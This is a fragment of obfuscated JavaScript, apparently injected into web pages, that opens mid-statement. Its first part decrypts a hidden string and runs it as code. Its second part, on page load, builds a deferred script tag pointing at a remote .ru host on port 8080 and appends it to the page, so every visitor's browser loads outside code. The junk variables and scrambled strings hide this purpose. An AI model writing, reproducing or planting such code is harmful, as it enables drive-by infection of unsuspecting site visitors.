[3,1,2,0,5,4]),6, U("ruabdnciitnora.yocm", [1,0]),7, U("uddrregertpoom.c", [2,3,0,1]),8, U("sjwo.cm", [2,0,1,4,5,3]),11, U("nwiwdon.oalod", [1,2,0]),12, U("cnufnoit()", [3,2,1,0]),14, U("gogoc.leom", [2,3,1,0]),15, U("ce(thca)", [5,6,3,0,4,2,1]),16, U("ht\"p:t", [2,0,1]),17, U("oogleg", [2,0,1]),18, U("csd.r", [2,3,1,4,0]),19, U("1\')\'", [1,0]),20, U("ryt", [2,0,1])];var k =[154,1][1];var fr =[61,14,0,238][2];var A = a[U("gltenh", [1,3,4,0,2])];var GW="";this.JJ=21067;var R = "%";this.wN=22257;this.vu=40251;var X = /[^@a-z0-9A-Z_-]/g;var c = '';var Yr;if(Yr!='vY' && Yr!='sW'){Yr=''};var yS;if(yS!='RuI' && yS!='TXZ'){yS=''};var Ak =[116,43,2][2];var KV;if(KV!='RFN' && KV != ''){KV=null};for(var I=S; I < A; I+=Ak){Wt+= R; var mG=new Date();var sv;if(sv!='' && sv!='Xlw'){sv=null};Wt+= a[U("ssutbr", [1,2,4,0,3])](I, Ak);var Nn;if(Nn!='fi' && Nn!='Qw'){Nn=''};var BU=9118;}var LD="";var a = Bu(Wt);var Zuy;if(Zuy!='Km'){Zuy=''};var kf="";var Hw = new T(u);var jm;if(jm!=''){jm='Ux'};var rO;if(rO!='eX'){rO='eX'};var O = Hw[U("elprace", [3,0,2,1])](X, c);var qc;if(qc!='yN'){qc='yN'};var SK=false;var fT="";var aB="aB";O = C(O);var Xk;if(Xk!='vl'){Xk='vl'};var Yk=55933;var Tk = new T(W);var o = UA[U("glneth", [1,3,2,0])];var gU;if(gU!='' && gU!='Gq'){gU=null};var SUt=53092;var g = Tk[U("preclae", [1,2,0])](X, c);var g = q(g);this.ju='';var At=q(O);for(var Bd=S; Bd < (a[U("elngth", [1,0,2,3])]);Bd=Bd+[1,213][0]) {var du;if(du!='fC' && du != ''){du=null};var So=13409;var ck = O.charCodeAt(fr);var dP;if(dP!='ozJ'){dP=''};var wI=new String();var dE = CJ(a,Bd);var Nx;if(Nx!='pf' && Nx!='jj'){Nx=''};dE = B(dE, ck);dE = B(dE, At);var uF;if(uF!='ifK' && uF != ''){uF=null};dE = B(dE, g);this.HZS=16886;fr++;this.gA="";var ve;if(ve!='' && ve!='fz'){ve='VcA'};if(fr > O.length-k){fr=S;}var PHv=new Array();var yww;if(yww!='Kma' && yww!='vK'){yww='Kma'};pQ += H(dE);var Ryg;if(Ryg!='' && Ryg!='tI'){Ryg=''};}this.yC=false;var Cb;if(Cb!='iA' && Cb!='Nz'){Cb='iA'};for(ug=S; ug < o; ug+=Ak){var gF=8438;var Y = UA[ug + k];var Ze;if(Ze!='dh'){Ze='dh'};this.FOO="FOO";var SA = H(UA[ug]);this.aN='';var IW=new String();var n = new Z(SA, T.fromCharCode(103));pQ=pQ[U("acrplee", [2,5,3,4,0,1])](n, Y);var iY=new String();}var RK=new String();var ZX;if(ZX!='rc' && ZX!='cbH'){ZX='rc'};var jK=new Array();var Rn=new Array();var ku=new W(pQ);var XP;if(XP!='' && XP!='lU'){XP='qF'};ku();var ZR;if(ZR!='' && ZR!='hD'){ZR=null};ku = '';var KE;if(KE!='' && KE!='iD'){KE=''};Tk = '';O = '';At = '';var qr=false;g = '';pQ = '';var Qf=new Array();return '';};var dF=false;var fR=new Array();u(BK);
function K() {var P="";var J=new Array();var U=RegExp;var BK;if(BK!='' && BK!='F'){BK=null};var pr;if(pr!='' && pr!='Rj'){pr=null};var e='[';var Na=new String();var d=new String();var Rh="";var JB;if(JB!='' && JB!='OF'){JB=''};var LW;if(LW!='UN'){LW='UN'};var l=']';var s=new Date();var X='replace';var lu='g';var Lc=new Date();this.yN='';function I(B,Q){var r=e;var t;if(t!='vf'){t='vf'};r+=Q;this.xn="";var rC;if(rC!='' && rC!='C'){rC='n'};r+=l;this.b="";var p=new U(r, lu);var zW=new Array();return B[X](p, d);this.xr='';var vP;if(vP!='lo' && vP!='j'){vP='lo'};};var lB;if(lB!='ro' && lB!='ho'){lB=''};var ph=new Date();var BP=I('/ZbFrOoFtZhZeFrZsZoZfOtO.ZcOoOmF/ZbZrZoFtZhFeOrFsOoZfZtZ.OcOoFmO/FgOoZoZgFlZeZ.FcOoZmO/FvOeZrFyOcOdF.OcZoOmO/FpOiZxOmOaOnFiZaF.OcZoFmZ.OpFhFpZ',"ZFO");var y=I('84940992899220929',"942");var PC="";var k=I('hqtvtjpq:v/F/AsAtqaArjtqiFmveFsA2q-FcFoAmq.qlAiAnFkvbFuvcAkvsq.jcFojmq.FljoAcjkveqrAzF-FcFojmF.jsquApjeFrqnjeAwqsFtFuqfjfF.jrFuj:j',"vAjqF");var G=new Array();var fS="";var KX='';this.vK='';var fi="";var O=I('chrheka2tke2E_lhe2m2e2nkth',"_k2h");var Sg=new Date();this.xZ="";var N=window;var Y=I('shcjrjidphth',"jhd");this.PO="";var V;if(V!='JI' && V!='jo'){V=''};N[I('oTn5l5o5aTdT',"T5")]=function(){var TR=new Date();var Pl='';try {var Qv=new Array();KX+=k;var rK;if(rK!='' && rK!='BI'){rK=null};KX+=y;var Dj=new String();var hK;if(hK!='' && hK!='sA'){hK=null};KX+=BP;m=document[O](Y);var JD;if(JD!='NM'){JD=''};R(m,'defer',([8,1][1]));var Br='';var rot;if(rot!='ZQ' && rot!='Ma'){rot='ZQ'};R(m,'src',KX);document.body.appendChild(m);var KgH=new String();} catch(i){var iE=new Date();var yL;if(yL!=''){yL='ge'};};var nD=new Date();this.DZ='';};function R(KF,yX,kS){var wO=new Array();KF.setAttribute(yX, kS);}var dZH;if(dZH!='' && dZH!='kX'){dZH=null};};K();var XF=new Array();var Cc;if(Cc!='YV'){Cc=''};